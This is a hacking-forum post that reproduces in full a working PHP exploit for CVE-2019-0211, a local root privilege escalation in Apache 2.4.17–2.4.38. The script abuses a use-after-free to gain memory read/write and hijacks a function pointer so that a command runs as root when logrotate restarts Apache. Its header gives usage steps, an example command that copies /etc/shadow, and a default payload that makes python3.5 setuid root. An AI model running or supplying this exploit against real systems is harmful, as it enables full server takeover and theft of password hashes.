Hoşgeldin Misafir

Apache 2.4.17 < 2.4.38 - apache2ctl graceful (logrotate) Local Privilege Escalation

NasyoneL

NasyoneL

Karanlık Özgürlüktür
25 Ağu 2017
25,060 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
<?php
# CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation
# Charles Fol
# @cfreal_
#
# INFOS
#
# https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html
#
# USAGE
#
# 1. Upload exploit to Apache HTTP server
# 2. Send request to page
# 3. Await 6:25AM for logrotate to restart Apache
# 4. python3.5 is now suid 0
#
# You can change the command that is ran as root using the cmd HTTP
# parameter (GET/POST).
# Example: curl http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/
#
# SUCCESS RATE
#
# Number of successful and failed exploitations relative to of the number
# of MPM workers (i.e. Apache subprocesses). YMMV.
#
# W  --% S   F
#  5 87% 177 26 (default)
#  8 89%  60  8
# 10 95%  70  4
#
# More workers, higher success rate.
# By default (5 workers), 87% success rate. With huge HTTPds, close to 100%.
# Generally, failure is due to all_buckets being relocated too far from its
# original address.
#
# TESTED ON
#
# - Apache/2.4.25
# - PHP 7.2.12
# - Debian GNU/Linux 9.6
#
# TESTING
#
# $ curl http://localhost/cfreal-carpediem.php
# $ sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# $ ls -alh /usr/bin/python3.5
# -rwsr-sr-x 2 root root 4.6M Sep 27  2018 /usr/bin/python3.5
#
# There are no hardcoded addresses.
# - Addresses read through /proc/self/mem
# - Offsets read through ELF parsing
#
# As usual, there are tons of comments.
#
 
 
o('CARPE (DIEM) ~ CVE-2019-0211');
o('');
 
error_reporting(E_ALL);
 
 
# Starts the exploit by triggering the UAF.
function real()
{
        global $y;
        $y = [new Z()];
        json_encode([0 => &$y]);
}
 
# In order to read/write what comes after in memory, we need to UAF a string so
# that we can control its size and make in-place edition.
# An easy way to do that is to replace the string by a timelib_rel_time
# structure of which the first bytes can be reached by the (y, m, d, h, i, s)
# properties of the DateInterval object.
#
# Steps:
# - Create a base object (Z)
# - Add string property (abc) so that sizeof(abc) = sizeof(timelib_rel_time)
# - Create DateInterval object ($place) meant to be unset and filled by another
# - Trigger the UAF by unsetting $y[0], which is still reachable using $this
# - Unset $place: at this point, if we create a new DateInterval object, it will
#   replace $place in memory
# - Create a string ($holder) that fills $place's timelib_rel_time structure
# - Allocate a new DateInterval object: its timelib_rel_time structure will
#   end up in place of abc
# - Now we can control $this->abc's zend_string structure entirely using
#   y, m, d etc.
# - Increase abc's size so that we can read/write memory that comes after it,
#   especially the shared memory block
# - Find out all_buckets' position by finding a memory region that matches the
#   mutex->meth structure
# - Compute the bucket index required to reach the SHM and get an arbitrary
#   function call
# - Scan ap_scoreboard_image->parent[] to find workers' PID and replace the
#   bucket
class Z implements JsonSerializable
{
        public function jsonSerialize()
        {
                global $y, $addresses, $workers_pids;
 
                #
                # Setup memory
                #
        o('Triggering UAF');
                o('  Creating room and filling empty spaces');
 
                # Fill empty blocks to make sure our allocations will be contiguous
                # I: Since a lot of allocations/deallocations happen before the script
                # is ran, two variables instanciated at the same time might not be
                # contiguous: this can be a problem for a lot of reasons.
                # To avoid this, we instanciate several DateInterval objects. These
                # objects will fill a lot of potentially non-contiguous memory blocks,
                # ensuring we get "fresh memory" in upcoming allocations.
                $contiguous = [];
                for($i=0;$i<10;$i++)
                        $contiguous[] = new DateInterval('PT1S');
 
                # Create some space for our UAF blocks not to get overwritten
                # I: A PHP object is a combination of a lot of structures, such as
                # zval, zend_object, zend_object_handlers, zend_string, etc., which are
                # all allocated, and freed when the object is destroyed.
                # After the UAF is triggered on the object, all the structures that are
                # used to represent it will be marked as free.
                # If we create other variables afterwards, those variables might be
                # allocated in the object's previous memory regions, which might pose
                # problems for the rest of the exploitation.
                # To avoid this, we allocate a lot of objects before the UAF, and free
                # them afterwards. Since PHP's heap is LIFO, when we create other vars,
                # they will take the place of those objects instead of the object we
                # are triggering the UAF on. This means our object is "shielded" and
                # we don't have to worry about breaking it.
                $room = [];
                for($i=0;$i<10;$i++)
                        $room[] = new Z();
 
                # Build string meant to fill old DateInterval's timelib_rel_time
                # I: ptr2str's name is unintuitive here: we just want to allocate a
                # zend_string of size 78.
                $_protector = ptr2str(0, 78);
 
                o('  Allocating $abc and $p');
 
                # Create ABC
                # I: This is the variable we will use to R/W memory afterwards.
                # After we free the Z object, we'll make sure abc is overwritten by a
                # timelib_rel_time structure under our control. The first 8*8 = 64 bytes
                # of this structure can be modified easily, meaning we can change the
                # size of abc. This will allow us to read/write memory after abc.
                $this->abc = ptr2str(0, 79);
 
                # Create $p meant to protect $this's blocks
                # I: Right after we trigger the UAF, we will unset $p.
                # This means that the timelib_rel_time structure (TRT) of this object
                # will be freed. We will then allocate a string ($protector) of the same
                # size as TRT. Since PHP's heap is LIFO, the string will take the place
                # of the now-freed TRT in memory.
                # Then, we create a new DateInterval object ($x). From the same
                # assumption, every structure constituting this new object will take the
                # place of the previous structure. Nevertheless, since TRT's memory
                # block has already been replaced by $protector, the new TRT will be put
                # in the next free blocks of the same size, which happens to be $abc
                # (remember, |abc| == |timelib_rel_time|).
                # We now have the following situation: $x is a DateInterval object whose
                # internal TRT structure has the same address as $abc's zend_string.
                $p = new DateInterval('PT1S');
 
                #
                # Trigger UAF
                #
                 
                o('  Unsetting both variables and setting $protector');
                # UAF here, $this is usable despite being freed
                unset($y[0]);
                # Protect $this's freed blocks
                unset($p);
 
                # Protect $p's timelib_rel_time structure
                $protector = ".$_protector";
                # !!! This is only required for apache
                # Got no idea as to why there is an extra deallocation (?)
                $room[] = "!$_protector";
 
                o('  Creating DateInterval object');
                # After this line:
                # &((php_interval_obj) x).timelib_rel_time == ((zval) abc).value.str
                # We can control the structure of $this->abc and therefore read/write
                # anything that comes after it in memory by changing its size and
                # making in-place edits using $this->abc[$position] = $char
                $x = new DateInterval('PT1S');
                # zend_string.refcount = 0
                # It will get incremented at some point, and if it is > 1,
                # zend_assign_to_string_offset() will try to duplicate it before making
                # the in-place replacement
                $x->y = 0x00;
                # zend_string.len
                $x->d = 0x100;
                # zend_string.val[0-4]
                $x->h = 0x13121110;
 
                # Verify UAF was successful
                # We modified stuff via $x; they should be visible by $this->abc, since
                # they are at the same memory location.
                if(!(
                        strlen($this->abc) === $x->d &&
                        $this->abc[0] == "\x10" &&
                        $this->abc[1] == "\x11" &&
                        $this->abc[2] == "\x12" &&
                        $this->abc[3] == "\x13"
                ))
                {
                        o('UAF failed, exiting.');
                        exit();
                }
                o('UAF successful.');
                o('');
 
                # Give us some room
                # I: As indicated before, just unset a lot of stuff so that next allocs
                # don't break our fragile UAFd structure.
                unset($room);
 
                #
                # Setup the R/W primitive
                #
 
                # We control $abc's internal zend_string structure, therefore we can R/W
                # the shared memory block (SHM), but for that we need to know the
                # position of $abc in memory
                # I: We know the absolute position of the SHM, so we need to need abc's
                # as well, otherwise we cannot compute the offset
 
                # Assuming the allocation was contiguous, memory looks like this, with
                # 0x70-sized fastbins:
                #       [zend_string:abc]
                #       [zend_string:protector]
                #       [FREE#1]
                #       [FREE#2]
                # Therefore, the address of the 2nd free block is in the first 8 bytes
                # of the first block: 0x70 * 2 - 24
                $address = str2ptr($this->abc, 0x70 * 2 - 24);
                # The address we got points to FREE#2, hence we're |block| * 3 higher in
                # memory
                $address = $address - 0x70 * 3;
                # The beginning of the string is 24 bytes after its origin
                $address = $address + 24;
                o('Address of $abc: 0x' . dechex($address));
                o('');
 
                # Compute the size required for our string to include the whole SHM and
                # apache's memory region
                $distance = 
                        max($addresses['apache'][1], $addresses['shm'][1]) -
                        $address
                ;
                $x->d = $distance;
 
                # We can now read/write in the whole SHM and apache's memory region.
 
                #
                # Find all_buckets in memory
                #
 
                # We are looking for a structure s.t.
                # |all_buckets, mutex| = 0x10
                # |mutex, meth| = 0x8
                # all_buckets is in apache's memory region
                # mutex is in apache's memory region
                # meth is in libaprR's memory region
                # meth's function pointers are in libaprX's memory region
                o('Looking for all_buckets in memory');
                $all_buckets = 0;
 
                for(
                        $i = $addresses['apache'][0] + 0x10;
                        $i < $addresses['apache'][1] - 0x08;
                        $i += 8
                )
                {
                        # mutex
                        $mutex = $pointer = str2ptr($this->abc, $i - $address);
                        if(!in($pointer, $addresses['apache']))
                                continue;
 
 
                        # meth
                        $meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
                        if(!in($pointer, $addresses['libaprR']))
                                continue;
 
                        o('  [&mutex]: 0x' . dechex($i));
                        o('    [mutex]: 0x' . dechex($mutex));
                        o('      [meth]: 0x' . dechex($meth));
 
 
                        # meth->*
                        # flags
                        if(str2ptr($this->abc, $pointer - $address) != 0)
                                continue;
                        # methods
                        for($j=0;$j<7;$j++)
                        {
                                $m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
                                if(!in($m, $addresses['libaprX']))
                                        continue 2;
                                o('        [*]: 0x' . dechex($m));
                        }
 
                        $all_buckets = $i - 0x10;
                        o('all_buckets = 0x' . dechex($all_buckets));
                        break;
                }
 
                if(!$all_buckets)
                {
                        o('Unable to find all_buckets');
                        exit();
                }
 
                o('');
 
                # The address of all_buckets will change when apache is gracefully
                # restarted. This is a problem because we need to know all_buckets's
                # address in order to make all_buckets[some_index] point to a memory
                # region we control.
 
                #
                # Compute potential bucket indexes and their addresses
                #
 
        o('Computing potential bucket indexes and addresses');
 
                # Since we have sizeof($workers_pid) MPM workers, we can fill the rest
                # of the ap_score_image->servers items, so 256 - sizeof($workers_pids),
                # with data we like. We keep the one at the top to store our payload.
                # The rest is sprayed with the address of our payload.
 
                $size_prefork_child_bucket = 24;
                $size_worker_score = 264;
                # I get strange errors if I use every "free" item, so I leave twice as
                # many items free. I'm guessing upon startup some
                $spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
                $spray_max = $addresses['shm'][1];
                $spray_min = $spray_max - $spray_size;
 
                $spray_middle = (int) (($spray_min + $spray_max) / 2);
                $bucket_index_middle = (int) (
                        - ($all_buckets - $spray_middle) /
                        $size_prefork_child_bucket
                );
 
                #
                # Build payload
                #
 
                # A worker_score structure was kept empty to put our payload in
                $payload_start = $spray_min - $size_worker_score;
 
                $z = ptr2str(0);
 
        # Payload maxsize 264 - 112 = 152
                # Offset 8 cannot be 0, but other than this you can type whatever
                # command you want
        $bucket = isset($_REQUEST['cmd']) ?
                $_REQUEST['cmd'] :
                "chmod +s /usr/bin/python3.5";
 
        if(strlen($bucket) > $size_worker_score - 112)
                {
                        o(
                                'Payload size is bigger than available space (' .
                                ($size_worker_score - 112) .
                                '), exiting.'
                        );
                        exit();
                }
        # Align
        $bucket = str_pad($bucket, $size_worker_score - 112, "\x00");
 
        # apr_proc_mutex_unix_lock_methods_t
                $meth = 
                    $z .
                    $z .
                    $z .
                    $z .
                    $z .
                    $z .
                        # child_init
                    ptr2str($addresses['zend_object_std_dtor'])
                ;
 
                # The second pointer points to meth, and is used before reaching the
                # arbitrary function call
                # The third one and the last one are both used by the function call
                # zend_object_std_dtor(object) => ... => system(&arData[0]->val)
                $properties = 
                        # refcount
                        ptr2str(1) .
                        # u-nTableMask meth
                        ptr2str($payload_start + strlen($bucket)) .
                        # Bucket arData
                        ptr2str($payload_start) .
                        # uint32_t nNumUsed;
                        ptr2str(1, 4) .
                    # uint32_t nNumOfElements;
                        ptr2str(0, 4) .
                        # uint32_t nTableSize
                        ptr2str(0, 4) .
                        # uint32_t nInternalPointer
                        ptr2str(0, 4) .
                        # zend_long nNextFreeElement
                        $z .
                        # dtor_func_t pDestructor
                        ptr2str($addresses['system'])
                ;
 
                $payload =
                        $bucket .
                        $meth .
                        $properties
                ;
 
                # Write the payload
 
                o('Placing payload at address 0x' . dechex($payload_start));
 
                $p = $payload_start - $address;
                for(
                        $i = 0;
                        $i < strlen($payload);
                        $i++
                )
                {
                        $this->abc[$p+$i] = $payload[$i];
                }
 
                # Fill the spray area with a pointer to properties
                 
                $properties_address = $payload_start + strlen($bucket) + strlen($meth);
                o('Spraying pointer');
                o('  Address: 0x' . dechex($properties_address));
                o('  From: 0x' . dechex($spray_min));
                o('  To: 0x' . dechex($spray_max));
                o('  Size: 0x' . dechex($spray_size));
                o('  Covered: 0x' . dechex($spray_size * count($workers_pids)));
                o('  Apache: 0x' . dechex(
                        $addresses['apache'][1] -
                        $addresses['apache'][0]
                ));
 
                $s_properties_address = ptr2str($properties_address);
 
                for(
                        $i = $spray_min;
                        $i < $spray_max;
                        $i++
                )
                {
                        $this->abc[$i - $address] = $s_properties_address[$i % 8];
                }
                o('');
 
                # Find workers PID in the SHM: it indicates the beginning of their
                # process_score structure. We can then change process_score.bucket to
                # the index we computed. When apache reboots, it will use
                # all_buckets[ap_scoreboard_image->parent[i]->bucket]->mutex
                # which means we control the whole apr_proc_mutex_t structure.
                # This structure contains pointers to multiple functions, especially
                # mutex->meth->child_init(), which will be called before privileges
                # are dropped.
                # We do this for every worker PID, incrementing the bucket index so that
                # we cover a bigger range.
                 
                o('Iterating in SHM to find PIDs...');
 
                # Number of bucket indexes covered by our spray
                $spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);
                # Number of bucket indexes covered by our spray and the PS structures
                $total_nb_buckets = $spray_nb_buckets * count($workers_pids);
                # First bucket index to handle
                $bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);
 
                # Iterate over every process_score structure until we find every PID or
                # we reach the end of the SHM
                for(
                        $p = $addresses['shm'][0] + 0x20;
                        $p < $addresses['shm'][1] && count($workers_pids) > 0;
                        $p += 0x24
                )
                {
                        $l = $p - $address;
                        $current_pid = str2ptr($this->abc, $l, 4);
                        o('Got PID: ' . $current_pid);
                        # The PID matches one of the workers
                        if(in_array($current_pid, $workers_pids))
                        {
                                unset($workers_pids[$current_pid]);
                                o('  PID matches');
                                # Update bucket address
                                $s_bucket_index = pack('l', $bucket_index);
                                $this->abc[$l + 0x20] = $s_bucket_index[0];
                                $this->abc[$l + 0x21] = $s_bucket_index[1];
                                $this->abc[$l + 0x22] = $s_bucket_index[2];
                                $this->abc[$l + 0x23] = $s_bucket_index[3];
                                o('  Changed bucket value to ' . $bucket_index);
                                $min = $spray_min - $size_prefork_child_bucket * $bucket_index;
                                $max = $spray_max - $size_prefork_child_bucket * $bucket_index;
                                o('  Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
                                # This bucket range is covered, go to the next one
                                $bucket_index += $spray_nb_buckets;
                        }
                }
 
                if(count($workers_pids) > 0)
                {
                        o(
                                'Unable to find PIDs ' .
                                implode(', ', $workers_pids) .
                                ' in SHM, exiting.'
                        );
                        exit();
                }
 
                o('');
                o('EXPLOIT SUCCESSFUL.');
                o('Await 6:25AM.');
                 
                return 0;
        }
}
 
function o($msg)
{
        # No concatenation -> no string allocation
        print($msg);
        print("\n");
}
 
function ptr2str($ptr, $m=8)
{
        $out = "";
    for ($i=0; $i<$m; $i++)
    {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}
 
function str2ptr(&$str, $p, $s=8)
{
        $address = 0;
        for($j=$s-1;$j>=0;$j--)
        {
                $address <<= 8;
                $address |= ord($str[$p+$j]);
        }
        return $address;
}
 
function in($i, $range)
{
        return $i >= $range[0] && $i < $range[1];
}
 
/**
 * Finds the offset of a symbol in a file.
 */
function find_symbol($file, $symbol)
{
    $elf = file_get_contents($file);
    $e_shoff = str2ptr($elf, 0x28);
    $e_shentsize = str2ptr($elf, 0x3a, 2);
    $e_shnum = str2ptr($elf, 0x3c, 2);
 
    $dynsym_off = 0;
    $dynsym_sz = 0;
    $dynstr_off = 0;
 
    for($i=0;$i<$e_shnum;$i++)
    {
        $offset = $e_shoff + $i * $e_shentsize;
        $sh_type = str2ptr($elf, $offset + 0x04, 4);
 
        $SHT_DYNSYM = 11;
        $SHT_SYMTAB = 2;
        $SHT_STRTAB = 3;
 
        switch($sh_type)
        {
            case $SHT_DYNSYM:
                $dynsym_off = str2ptr($elf, $offset + 0x18, 8);
                $dynsym_sz = str2ptr($elf, $offset + 0x20, 8);
                break;
            case $SHT_STRTAB:
            case $SHT_SYMTAB:
                if(!$dynstr_off)
                    $dynstr_off = str2ptr($elf, $offset + 0x18, 8);
                break;
        }
 
    }
 
    if(!($dynsym_off && $dynsym_sz && $dynstr_off))
        exit('.');
 
    $sizeof_Elf64_Sym = 0x18;
 
    for($i=0;$i * $sizeof_Elf64_Sym < $dynsym_sz;$i++)
    {
        $offset = $dynsym_off + $i * $sizeof_Elf64_Sym;
        $st_name = str2ptr($elf, $offset, 4);
         
        if(!$st_name)
            continue;
         
        $offset_string = $dynstr_off + $st_name;
        $end = strpos($elf, "\x00", $offset_string) - $offset_string;
        $string = substr($elf, $offset_string, $end);
 
        if($string == $symbol)
        {
            $st_value = str2ptr($elf, $offset + 0x8, 8);
            return $st_value;
        }
    }
 
    die('Unable to find symbol ' . $symbol);
}
 
# Obtains the addresses of the shared memory block and some functions through 
# /proc/self/maps
# This is hacky as hell.
function get_all_addresses()
{
        $addresses = [];
        $data = file_get_contents('/proc/self/maps');
        $follows_shm = false;
 
        foreach(explode("\n", $data) as $line)
        {
                if(!isset($addresses['shm']) && strpos($line, '/dev/zero'))
                {
            $line = explode(' ', $line)[0];
            $bounds = array_map('hexdec', explode('-', $line));
            if ($bounds[1] - $bounds[0] == 0x14000)
            {
                $addresses['shm'] = $bounds;
                $follows_shm = true;
            }
        }
                if(
                        preg_match('#(/[^\s]+libc-[0-9.]+.so[^\s]*)#', $line, $matches) &&
                        strpos($line, 'r-xp')
                )
                {
                        $offset = find_symbol($matches[1], 'system');
                        $line = explode(' ', $line)[0];
                        $line = hexdec(explode('-', $line)[0]);
                        $addresses['system'] = $line + $offset;
                }
                if(
                        strpos($line, 'libapr-1.so') &&
                        strpos($line, 'r-xp')
                )
                {
                        $line = explode(' ', $line)[0];
                        $bounds = array_map('hexdec', explode('-', $line));
                        $addresses['libaprX'] = $bounds;
                }
                if(
                        strpos($line, 'libapr-1.so') &&
                        strpos($line, 'r--p')
                )
                {
                        $line = explode(' ', $line)[0];
                        $bounds = array_map('hexdec', explode('-', $line));
                        $addresses['libaprR'] = $bounds;
                }
                # Apache's memory block is between the SHM and ld.so
                # Sometimes some rwx region gets mapped; all_buckets cannot be in there
                # but we include it anyways for the sake of simplicity
                if(
                        (
                                strpos($line, 'rw-p') ||
                                strpos($line, 'rwxp')
                        ) &&
            $follows_shm
                )
                {
            if(strpos($line, '/lib'))
            {
                $follows_shm = false;
                continue;
            }
                        $line = explode(' ', $line)[0];
                        $bounds = array_map('hexdec', explode('-', $line));
                        if(!array_key_exists('apache', $addresses))
                            $addresses['apache'] = $bounds;
                        else if($addresses['apache'][1] == $bounds[0])
                $addresses['apache'][1] = $bounds[1];
                        else
                $follows_shm = false;
                }
                if(
                        preg_match('#(/[^\s]+libphp7[0-9.]+.so[^\s]*)#', $line, $matches) &&
                        strpos($line, 'r-xp')
                )
                {
                        $offset = find_symbol($matches[1], 'zend_object_std_dtor');
                        $line = explode(' ', $line)[0];
                        $line = hexdec(explode('-', $line)[0]);
                        $addresses['zend_object_std_dtor'] = $line + $offset;
                }
        }
 
        $expected = [
                'shm', 'system', 'libaprR', 'libaprX', 'apache', 'zend_object_std_dtor'
        ];
        $missing = array_diff($expected, array_keys($addresses));
 
        if($missing)
        {
                o(
                        'The following addresses were not determined by parsing ' .
                        '/proc/self/maps: ' . implode(', ', $missing)
                );
                exit(0);
        }
 
 
        o('PID: ' . getmypid());
        o('Fetching addresses');
 
        foreach($addresses as $k => $a)
        {
                if(!is_array($a))
                        $a = [$a];
                o('  ' . $k . ': ' . implode('-0x', array_map(function($z) {
                                return '0x' . dechex($z);
                }, $a)));
        }
        o('');
 
        return $addresses;
}
 
# Extracts PIDs of apache workers using /proc/*/cmdline and /proc/*/status,
# matching the cmdline and the UID
function get_workers_pids()
{
        o('Obtaining apache workers PIDs');
        $pids = [];
        $cmd = file_get_contents('/proc/self/cmdline');
        $processes = glob('/proc/*');
        foreach($processes as $process)
        {
                if(!preg_match('#^/proc/([0-9]+)$#', $process, $match))
                        continue;
                $pid = (int) $match[1];
                if(
                        !is_readable($process . '/cmdline') ||
                        !is_readable($process . '/status')
                )
                        continue;
                if($cmd !== file_get_contents($process . '/cmdline'))
                        continue;
 
                $status = file_get_contents($process . '/status');
                foreach(explode("\n", $status) as $line)
                {
                        if(
                                strpos($line, 'Uid:') === 0 &&
                                preg_match('#\b' . posix_getuid() . '\b#', $line)
                        )
                        {
                                o('  Found apache worker: ' . $pid);
                                $pids[$pid] = $pid;
                                break;
                        }
 
                }
        }
         
        o('Got ' . sizeof($pids) . ' PIDs.');
        o('');
 
        return $pids;
}
 
$addresses = get_all_addresses();
$workers_pids = get_workers_pids();
real();
 
#  0day.today [2019-04-09]  #